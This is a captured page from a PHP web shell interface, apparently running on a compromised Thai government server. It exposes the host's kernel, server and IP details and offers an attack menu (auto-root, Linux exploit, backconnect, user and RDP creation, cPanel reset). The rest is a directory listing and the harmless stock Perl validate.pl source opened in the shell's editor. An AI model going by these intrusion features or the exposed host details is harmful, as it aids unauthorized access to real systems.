Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
[ HOME SHELL ]
Name
Size
Permission
Action
App
[ DIR ]
drwxr-xr-x
Archive
[ DIR ]
drwxr-xr-x
Attribute
[ DIR ]
drwxr-xr-x
B
[ DIR ]
drwxr-xr-x
CGI
[ DIR ]
drwxr-xr-x
CPAN
[ DIR ]
drwxr-xr-x
CPANPLUS
[ DIR ]
drwxr-xr-x
Carp
[ DIR ]
drwxr-xr-x
Class
[ DIR ]
drwxr-xr-x
Config
[ DIR ]
drwxr-xr-x
DBIx
[ DIR ]
drwxr-xr-x
DBM_Filter
[ DIR ]
drwxr-xr-x
Data
[ DIR ]
drwxr-xr-x
Devel
[ DIR ]
drwxr-xr-x
Digest
[ DIR ]
drwxr-xr-x
Encode
[ DIR ]
drwxr-xr-x
Error
[ DIR ]
drwxr-xr-x
Exporter
[ DIR ]
drwxr-xr-x
ExtUtils
[ DIR ]
drwxr-xr-x
File
[ DIR ]
drwxr-xr-x
Filter
[ DIR ]
drwxr-xr-x
Getopt
[ DIR ]
drwxr-xr-x
HTML
[ DIR ]
drwxr-xr-x
I18N
[ DIR ]
drwxr-xr-x
IO
[ DIR ]
drwxr-xr-x
IPC
[ DIR ]
drwxr-xr-x
Locale
[ DIR ]
drwxr-xr-x
Log
[ DIR ]
drwxr-xr-x
Math
[ DIR ]
drwxr-xr-x
Memoize
[ DIR ]
drwxr-xr-x
Module
[ DIR ]
drwxr-xr-x
Net
[ DIR ]
drwxr-xr-x
Object
[ DIR ]
drwxr-xr-x
Package
[ DIR ]
drwxr-xr-x
Params
[ DIR ]
drwxr-xr-x
Parse
[ DIR ]
drwxr-xr-x
PerlIO
[ DIR ]
drwxr-xr-x
Pod
[ DIR ]
drwxr-xr-x
Search
[ DIR ]
drwxr-xr-x
TAP
[ DIR ]
drwxr-xr-x
Term
[ DIR ]
drwxr-xr-x
Test
[ DIR ]
drwxr-xr-x
Text
[ DIR ]
drwxr-xr-x
Thread
[ DIR ]
drwxr-xr-x
Tie
[ DIR ]
drwxr-xr-x
Time
[ DIR ]
drwxr-xr-x
URI
[ DIR ]
drwxr-xr-x
Unicode
[ DIR ]
drwxr-xr-x
User
[ DIR ]
drwxr-xr-x
XML
[ DIR ]
drwxr-xr-x
autodie
[ DIR ]
drwxr-xr-x
encoding
[ DIR ]
drwxr-xr-x
overload
[ DIR ]
drwxr-xr-x
pod
[ DIR ]
drwxr-xr-x
unicore
[ DIR ]
drwxr-xr-x
vendor_perl
[ DIR ]
drwxr-xr-x
version
[ DIR ]
drwxr-xr-x
warnings
[ DIR ]
drwxr-xr-x
AnyDBM_File.pm
2.53
KB
-rw-r--r--
AutoLoader.pm
14.65
KB
-rw-r--r--
AutoSplit.pm
19.18
KB
-rw-r--r--
Benchmark.pm
27.86
KB
-rw-r--r--
CGI.pm
255.35
KB
-rw-r--r--
CORE.pod
1.53
KB
-rw-r--r--
CPAN.pm
127.84
KB
-rw-r--r--
CPANPLUS.pm
7.1
KB
-rw-r--r--
Carp.pm
7.43
KB
-rw-r--r--
DB.pm
18.75
KB
-rw-r--r--
DBM_Filter.pm
14.08
KB
-rw-r--r--
Digest.pm
10.17
KB
-rw-r--r--
DirHandle.pm
1.89
KB
-rw-r--r--
Dumpvalue.pm
16.5
KB
-rw-r--r--
English.pm
4.38
KB
-rw-r--r--
Env.pm
5.05
KB
-rw-r--r--
Error.pm
23.55
KB
-rw-r--r--
Exporter.pm
18.16
KB
-rw-r--r--
Fatal.pm
40.01
KB
-rw-r--r--
FileCache.pm
5.44
KB
-rw-r--r--
FileHandle.pm
6.62
KB
-rw-r--r--
FindBin.pm
5.53
KB
-rw-r--r--
Memoize.pm
34.47
KB
-rw-r--r--
NEXT.pm
18.05
KB
-rw-r--r--
PerlIO.pm
10.86
KB
-rw-r--r--
Safe.pm
23.76
KB
-rw-r--r--
SelectSaver.pm
1.05
KB
-rw-r--r--
SelfLoader.pm
16.93
KB
-rw-r--r--
Shell.pm
8.48
KB
-rw-r--r--
Switch.pm
27.84
KB
-rw-r--r--
Symbol.pm
4.68
KB
-rw-r--r--
Test.pm
28.13
KB
-rw-r--r--
Thread.pm
8.09
KB
-rw-r--r--
UNIVERSAL.pm
6.38
KB
-rw-r--r--
URI.pm
30.44
KB
-rw-r--r--
abbrev.pl
838
B
-rw-r--r--
assert.pl
1.27
KB
-rw-r--r--
attributes.pm
14.53
KB
-rw-r--r--
autodie.pm
11.49
KB
-rw-r--r--
autouse.pm
4.14
KB
-rw-r--r--
base.pm
6.82
KB
-rw-r--r--
bigfloat.pl
7.2
KB
-rw-r--r--
bigint.pl
8.75
KB
-rw-r--r--
bigint.pm
17.43
KB
-rw-r--r--
bignum.pm
18.24
KB
-rw-r--r--
bigrat.pl
4.37
KB
-rw-r--r--
bigrat.pm
14.1
KB
-rw-r--r--
blib.pm
2.06
KB
-rw-r--r--
bytes.pm
2.33
KB
-rw-r--r--
bytes_heavy.pl
758
B
-rw-r--r--
cacheout.pl
1.1
KB
-rw-r--r--
charnames.pm
15.3
KB
-rw-r--r--
complete.pl
3.12
KB
-rw-r--r--
constant.pm
12.23
KB
-rw-r--r--
ctime.pl
1.95
KB
-rw-r--r--
diagnostics.pm
16.97
KB
-rw-r--r--
dotsh.pl
2.12
KB
-rw-r--r--
dumpvar.pl
14.92
KB
-rw-r--r--
exceptions.pl
1.7
KB
-rw-r--r--
fastcwd.pl
1019
B
-rw-r--r--
feature.pm
4.97
KB
-rw-r--r--
fields.pm
9.28
KB
-rw-r--r--
filetest.pm
3.91
KB
-rw-r--r--
find.pl
1.16
KB
-rw-r--r--
finddepth.pl
1.1
KB
-rw-r--r--
flush.pl
642
B
-rw-r--r--
getcwd.pl
1.39
KB
-rw-r--r--
getopt.pl
1.29
KB
-rw-r--r--
getopts.pl
1.37
KB
-rw-r--r--
hostname.pl
727
B
-rw-r--r--
if.pm
1.14
KB
-rw-r--r--
importenv.pl
283
B
-rw-r--r--
integer.pm
3.19
KB
-rw-r--r--
less.pm
3.01
KB
-rw-r--r--
locale.pm
820
B
-rw-r--r--
look.pl
1.23
KB
-rw-r--r--
newgetopt.pl
2.16
KB
-rw-r--r--
open.pm
7.56
KB
-rw-r--r--
open2.pl
185
B
-rw-r--r--
open3.pl
185
B
-rw-r--r--
overload.pm
46.92
KB
-rw-r--r--
overloading.pm
1.76
KB
-rw-r--r--
parent.pm
2.93
KB
-rw-r--r--
perl5db.pl
310.24
KB
-rw-r--r--
pwd.pl
1.44
KB
-rw-r--r--
shellwords.pl
276
B
-rw-r--r--
sigtrap.pm
7.43
KB
-rw-r--r--
sort.pm
5.95
KB
-rw-r--r--
stat.pl
590
B
-rw-r--r--
strict.pm
3.63
KB
-rw-r--r--
subs.pm
842
B
-rw-r--r--
syslog.pl
4.69
KB
-rw-r--r--
tainted.pl
164
B
-rw-r--r--
termcap.pl
4.02
KB
-rw-r--r--
timelocal.pl
690
B
-rw-r--r--
utf8.pm
6.76
KB
-rw-r--r--
utf8_heavy.pl
7.81
KB
-rw-r--r--
validate.pl
3.64
KB
-rw-r--r--
vars.pm
2.3
KB
-rw-r--r--
version.pm
1.01
KB
-rw-r--r--
version.pod
12.03
KB
-rw-r--r--
vmsish.pm
4.23
KB
-rw-r--r--
warnings.pm
15.75
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : validate.pl
;# The validate routine takes a single multiline string consisting of ;# lines containing a filename plus a file test to try on it. (The ;# file test may also be a 'cd', causing subsequent relative filenames ;# to be interpreted relative to that directory.) After the file test ;# you may put '|| die' to make it a fatal error if the file test fails. ;# The default is '|| warn'. The file test may optionally have a ! prepended ;# to test for the opposite condition. If you do a cd and then list some ;# relative filenames, you may want to indent them slightly for readability. ;# If you supply your own "die" or "warn" message, you can use $file to ;# interpolate the filename. ;# Filetests may be bunched: -rwx tests for all of -r, -w and -x. ;# Only the first failed test of the bunch will produce a warning. ;# The routine returns the number of warnings issued. ;# Usage: ;# require "validate.pl"; ;# $warnings += do validate(' ;# /vmunix -e || die ;# /boot -e || die ;# /bin cd ;# csh -ex ;# csh !-ug ;# sh -ex ;# sh !-ug ;# /usr -d || warn "What happened to $file?\n" ;# '); sub validate { local($file,$test,$warnings,$oldwarnings); foreach $check (split(/\n/,$_[0])) { next if $check =~ /^#/; next if $check =~ /^$/; ($file,$test) = split(' ',$check,2); if ($test =~ s/^(!?-)(\w{2,}\b)/$1Z/) { $testlist = $2; @testlist = split(//,$testlist); } else { @testlist = ('Z'); } $oldwarnings = $warnings; foreach $one (@testlist) { $this = $test; $this =~ s/(-\w\b)/$1 \$file/g; $this =~ s/-Z/-$one/; $this .= ' || warn' unless $this =~ /\|\|/; $this =~ s/^(.*\S)\s*\|\|\s*(die|warn)$/$1 || do valmess('$2','$1')/; $this =~ s/\bcd\b/chdir (\$cwd = \$file)/g; eval $this; last if $warnings > $oldwarnings; } } $warnings; } sub valmess { local($disposition,$this) = @_; $file = $cwd . '/' . $file unless $file =~ m|^/|; if ($this =~ /^(!?)-(\w)\s+\$file\s*$/) { $neg = $1; $tmp = $2; $tmp eq 'r' && ($mess = "$file is not readable by uid $>."); $tmp eq 'w' && ($mess = "$file is not writable by uid $>."); $tmp eq 'x' && ($mess = "$file is not executable by uid $>."); $tmp eq 'o' && ($mess = "$file is not owned by uid $>."); $tmp eq 'R' && ($mess = "$file is not readable by you."); $tmp eq 'W' && ($mess = "$file is not writable by you."); $tmp eq 'X' && ($mess = "$file is not executable by you."); $tmp eq 'O' && ($mess = "$file is not owned by you."); $tmp eq 'e' && ($mess = "$file does not exist."); $tmp eq 'z' && ($mess = "$file does not have zero size."); $tmp eq 's' && ($mess = "$file does not have non-zero size."); $tmp eq 'f' && ($mess = "$file is not a plain file."); $tmp eq 'd' && ($mess = "$file is not a directory."); $tmp eq 'l' && ($mess = "$file is not a symbolic link."); $tmp eq 'p' && ($mess = "$file is not a named pipe (FIFO)."); $tmp eq 'S' && ($mess = "$file is not a socket."); $tmp eq 'b' && ($mess = "$file is not a block special file."); $tmp eq 'c' && ($mess = "$file is not a character special file."); $tmp eq 'u' && ($mess = "$file does not have the setuid bit set."); $tmp eq 'g' && ($mess = "$file does not have the setgid bit set."); $tmp eq 'k' && ($mess = "$file does not have the sticky bit set."); $tmp eq 'T' && ($mess = "$file is not a text file."); $tmp eq 'B' && ($mess = "$file is not a binary file."); if ($neg eq '!') { $mess =~ s/ is not / should not be / || $mess =~ s/ does not / should not / || $mess =~ s/ not / /; } print STDERR $mess,"\n"; } else { $this =~ s/\$file/'$file'/g; print STDERR "Can't do $this.\n"; } if ($disposition eq 'die') { exit 1; } ++$warnings; } 1;
Close
